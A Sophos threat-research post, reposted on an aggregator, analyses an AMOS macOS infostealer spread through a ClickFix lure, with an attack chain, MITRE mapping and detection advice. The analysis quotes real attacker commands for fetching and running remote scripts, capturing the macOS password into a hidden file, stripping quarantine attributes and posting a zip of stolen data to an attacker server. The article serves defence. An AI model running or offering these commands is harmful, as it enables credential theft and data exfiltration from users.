惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园_首页
T
Tor Project blog
TaoSecurity Blog
TaoSecurity Blog
Cloudbric
Cloudbric
V
V2EX - 技术
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
C
Check Point Blog
雷峰网
雷峰网
博客园 - 叶小钗
博客园 - 【当耐特】
H
Hacker News: Front Page
美团技术团队
GbyAI
GbyAI
AI
AI
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
W
WeLiveSecurity
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Google DeepMind News
Google DeepMind News
H
Hackread – Cybersecurity News, Data Breaches, AI and More
The Last Watchdog
The Last Watchdog
有赞技术团队
有赞技术团队
F
Full Disclosure
V
V2EX
Hacker News: Ask HN
Hacker News: Ask HN
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Google Online Security Blog
Google Online Security Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Last Week in AI
Last Week in AI
Recent Commits to openclaw:main
Recent Commits to openclaw:main
A
About on SuperTechFans
D
Docker
S
Secure Thoughts
Google DeepMind News
Google DeepMind News
博客园 - 司徒正美
人人都是产品经理
人人都是产品经理
P
Privacy & Cybersecurity Law Blog
小众软件
小众软件
I
InfoQ
B
Blog RSS Feed
P
Palo Alto Networks Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
N
Netflix TechBlog - Medium
Martin Fowler
Martin Fowler
Stack Overflow Blog
Stack Overflow Blog
S
Security @ Cisco Blogs
Apple Machine Learning Research
Apple Machine Learning Research
H
Help Net Security
Blog — PlanetScale
Blog — PlanetScale
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
V
Visual Studio Blog

Sophos Blogs

You do surprise me.exe: An unexpected executable in Hola Browser You do surprise me.exe: An unexpected executable in Hola Browser Pointing a Cursor at evading detection Pointing a Cursor at evading detection Pointing a Cursor at evading detection Canvas attack aftermath: What risks come next Canvas attack aftermath: What risks come next? Gartner EPP MQ-17 Sophos named a Leader in the 2026 Gartner® Magic Quadrant™ for Endpoint Protection for the 17th consecutive report GitHub internal repositories breached. GitHub internal repositories breached. WantToCry ransomware remotely encrypts files WantToCry ransomware remotely encrypts files Why AMOS matters: The macOS malware stealing data at scale May’s Patch Tuesday hauls out 132 CVEs May’s Patch Tuesday hauls out 132 CVEs Operating inside the lethal trifecta: Blast radius reduction in AI agent deployments Sophos Endpoint in action: Blocking a novel supply chain attack Inside the lethal trifecta: Blast radius reduction in AI agent deployments Ransomware: AI changes the writer. It doesn't change the math. GPT-5.5-Cyber is here. What it means for defenders operating at the frontier. Donuts and Beagles: Fake Claude site spreads backdoor QEMU abused to evade detection and enable ransomware delivery Adobe Reader zero-day vulnerability in active exploitation We let OpenClaw loose on an internal network. Here’s what it found The vulnerability flood is here. Here’s what it means – and how to prepare Is compliance complexity outpacing IT capacity? Sophos named a 2026 Gartner® Peer Insights™ Customers' Choice for Managed Detection and Response Amazon GuardDuty enhances detection efficacy with Sophos threat intelligence Axios npm package compromised to deploy malware The Cybersecurity Trust Reality in 2026 The High Cost of Low Trust: Our Commitment to Radical Transparency Incident responders, s'il vous plait: Invites lead to odd malware events Sophos Firewall、「G2 Spring 2026」レポートでファイアウォールソリューション総合第1位を獲得 世界の CISO の現状: 無視できないリーダーシップギャップの大きさ レポートのエンドポイント、EDR、XDR、MDR、ファイアウォール各部門で総合 1 位に Android devices ship with firmware-level malware March Patch Tuesday visits 15 product families From Security Operations to Security Leadership: Sophos CISO Advantage
Why AMOS matters: The macOS malware stealing data at scale
About the author · 2026-05-14 · via Sophos Blogs

Sophos Managed Detection and Response (MDR) teams recently responded to a customer incident involving an infostealer infection on a macOS host. When we investigated, we found that the infostealer appeared to be a variant of AMOS (Atomic macOS), a well-known malware family we’ve written about before.

The attack began with a ClickFix-style ruse, where a user was tricked into running a terminal command. This isn’t the first time we’ve seen this social engineering technique used in conjunction with macOS infostealers; in March this year we reported on multiple variants of the MacSync stealer adopting the same approach.

AMOS is a significant threat; it accounted for almost 40% of our macOS protection updates in 2025 (more than double any other macOS malware family), and almost half of macOS stealer customer reports in the last three months, as of this writing. Part of a malware-as-a-service (MaaS) offering, it’s optimized to steal Keychain data, browser credentials, cookie, autofill information, and other high-value artifacts (such as cryptocurrency wallet information), enabling rapid account takeover and follow-on attacks. It’s been tracked in public reporting since at least April 2023.

More recently, in August 2025, CrowdStrike reported on a campaign involving an AMOS variant dubbed ‘SHAMOS.’ In December 2025, Huntress noted incidents involving AMOS delivery via poisoned search results relating to ChatGPT/Grok conversations, and in February 2026 Microsoft referenced AMOS within the broader context of infostealers expanding into macOS and abusing trusted platforms and utilities for distribution.

As many previous reports note, and as in the case we investigated, AMOS campaigns typically rely on social engineering rather than exploit chains. In some cases, threat actors use fake installers or ‘cracked app’ lures, although ClickFix appears to be an increasingly prominent infection vector. More recently, and as we described in our MacSync piece, researchers have reported the use of lures relating to AI models.

This social engineering isn’t limited to the initial infection, however. A recurring behavior noted by defenders is repeated password prompting until the victim provides their macOS password, which is then used to perform privileged actions.

Attack chain overview

  1. Social engineering persuades the user to execute a command in Terminal 
  2. First stage bootstrap script is downloaded and executed 
  3. Malware captures and validates the user’s macOS password 
  4. Second stage payload is retrieved and executed with elevated privileges 
  5. Anti‑analysis routine checks detect virtualized environments 
  6. Malware collects extensive user and system data (Keychain database, macOS password, Firefox and Chrome profile data, Apple Notes, extension storage, host and system profile data, and cryptocurrency-related information) 
  7. Stolen data is archived and prepared for exfiltration 
  8. Data is sent to attacker infrastructure 
  9. Persistence is established using LaunchDaemon 
  10. System registers with command‑and‑control (C2) server

Bootstrapping

The command provided on the attacker-controlled site – which the user was tricked into running in Terminal – downloads and executes a bootstrapping script with the following command:

echo <b64> | base64 -d | bash 
curl -fsSL hxxps://sphereou[.]com/cleanera 

Password validation 

The malware prompts the user for their macOS system password and validates it locally. Once validated, the password is stored in a hidden file for later use. 

username=$(whoami)
dscl . -authonly "$username" "$password"
echo -n "$password" > "/Users/$username/.pass"

Second stage payload deployment 

After collecting the password, the malware downloads a secondary payload from hxxps[://]sphereou[.]com/cleaner3/update and saves it to /tmp/update. Extended attributes are removed to bypass macOS security warnings, and the file is executed.

curl -o /tmp/update hxxps://sphereou[.]com/cleaner3/update
echo "<PASSWORD>" | sudo -S xattr -c /tmp/update
chmod +x /tmp/update
/tmp/update

Anti‑analysis

To evade automated detection, the malware checks whether it is running in a virtual machine or sandbox environment by querying system_profiler data via osascript and looking for specific hardware values.

Indicators checked include: 

  • QEMU
  • VMware
  • KVM

Credential and session harvesting 

The malware prepares directories under /tmp to store collected data. It also retrieves a hardware UUID to uniquely identify the victim system, and performs some basic host enumeration:

whoami, id, hostname, ioreg IOPlatformUUID 

Example staging paths:
/tmp/91897/
/tmp/91897/FileGrabber/NotesMedia/

In this case we investigated, the threat actor used several AMOS configuration flags (CONFIG_STEAL_FINDER, CONFIG_STEAL_NOTES_API, and CONFIG_STEAL_HISTORY) to drive collection routines.

AMOS proceeds to collect a wide range of sensitive data, including: 

  • macOS Keychain database
  • Firefox browser data (cookies, saved passwords, form history)
  • Chrome/Chromium profiles
  • Extension storage and IndexedDB files
  • Local browser session tokens

In the variant we analyzed, AMOS’s module set also included fake Ledger Wallet and Trezor Suite applications, suggesting capabilities related to cryptocurrency credential and seed theft.

Archiving and exfiltration 

Collected files are compressed into a single archive using macOS utilities, before being sent to an attacker-controlled server. 

ditto -c -k --sequesterRsrc /tmp/91897/ /tmp/out.zip
curl -X POST -F "file=@/tmp/out.zip" hxxp://38[.]244[.]158[.]56/contact 

Persistence

To maintain long‑term access, the attacker achieves persistence via a LaunchDaemon. A hidden helper binary is stored in the user directory and configured to run automatically. 

Example persistence path:
/Library/LaunchDaemons/com.finder.helper.plist

C2

The infected system registers with the C2 server and periodically retrieves instructions. Example C2 endpoints:
hxxp://45[.]94[.]47[.]204/api/join/
hxxp://45[.]94[.]47[.]204/api/tasks/

amos-attack-chain

Figure 1: The AMOS attack chain

MITRE ATT&CK mapping

Attack StageActivity DescriptionMITRE ATT&CK TacticTechnique IDTechnique Name
Initial ExecutionUser executes a malicious Terminal command that begins the infection chainExecutionT1059.004Command and Scripting Interpreter: Unix Shell
Stage 1 LoaderBootstrap script runs and downloads/executes additional componentsExecutionT1059Command and Scripting Interpreter
Credential PromptFake prompt captures the user’s system passwordCredential AccessT1056Input Capture
Stage 2 PayloadSecondary payload is executed to deploy the stealer functionalityExecutionT1059 / T1106

Command Execution / Native API

Environment ChecksMalware performs checks to gather system information and validate execution environmentDiscoveryT1082System Information Discovery
Credential HarvestingSensitive credentials are extracted from browsers and macOS Keychain

Credential Access

T1555

Credentials from Password Stores

Data PreparationStolen data is compressed or archived before transmission

Collection

T1560

Archive Collected Data

Data ExfiltrationHarvested data is transmitted to attacker-controlled infrastructureExfiltration

T1041

Exfiltration Over C2 Channel

Persistence MechanismMalware installs persistence mechanisms (e.g., Launch Agents) to survive reboots

Persistence

T1543.001

Create or Modify System Process: Launch Agent

Keeping safe

Detection opportunities

  • dscl authentication attempts followed by hidden password storage
  • Creation of staging directories under /tmp
  • Compression of large credential datasets using ditto
  • curl outbound POST requests sending archive files to external IPs
  • Creation of LaunchDaemons with root ownership
  • Access to browser credential stores and Notes/Keychain-relevant data paths from non-standard processes
  • Host-based artifacts may include:
    • /Users/<username>/.pass 
    • /tmp/update 
    • /tmp/91897/ 
    • /tmp/out.zip 
    • /Users/<username>/.agent 
    • /Users/<username>/.mainhelper - /Library/LaunchDaemons/com.finder.helper.plist

Prevention opportunities

  • Block and alert on user-initiated Terminal paste-and-run execution patterns (ClickFix-style). 
  • Enforce Gatekeeper and notarization requirements; disallow “Anywhere” execution settings. 
  • Keep XProtect and system security updates enabled and fully up to date. 
  • Remove local admin rights by default; require privileged elevation only when necessary. 
  • Block execution of unsigned/untrusted binaries from user home hidden paths (dot-prefixed executables). 
  • Monitor and alert on new/modified LaunchDaemons in /Library/LaunchDaemons/ (e.g., com.finder.helper.plist)
  • Restrict installation of unapproved wallet/crypto apps

Sophos protections

  • OSX-CRD-PRC-STEAL-BROWSER-DATA-1
  • OSX-COL-PRC-SUSP-DITTO-1
  • OSX/Infostl-FH
  • OSX/InfoStl-GA

Conclusion 

Mainstream malware now regularly affects macOS users – particularly when it comes to infostealers, which regularly account for a significant portion of all the macOS detections we see in telemetry. 

AMOS, in particular, remains a significant concern. Like many of its ilk, its use of social engineering to bypass security controls makes it a potent threat. As we noted in our MacSync article, the specific lures used by threat actors are continuing to adapt in response to wider social and technological trends. 

We’ll continue to monitor for and investigate macOS infostealer infections, update protection and detection information as appropriate, and publish research on this fast-evolving region of the threat landscape as data becomes available.

IOCs relating to this article will be available on our GitHub repository.

Acknowledgments

Sophos X-Ops would like to thank Jagadeesh Chandraiah of SophosLabs for his contribution to this report.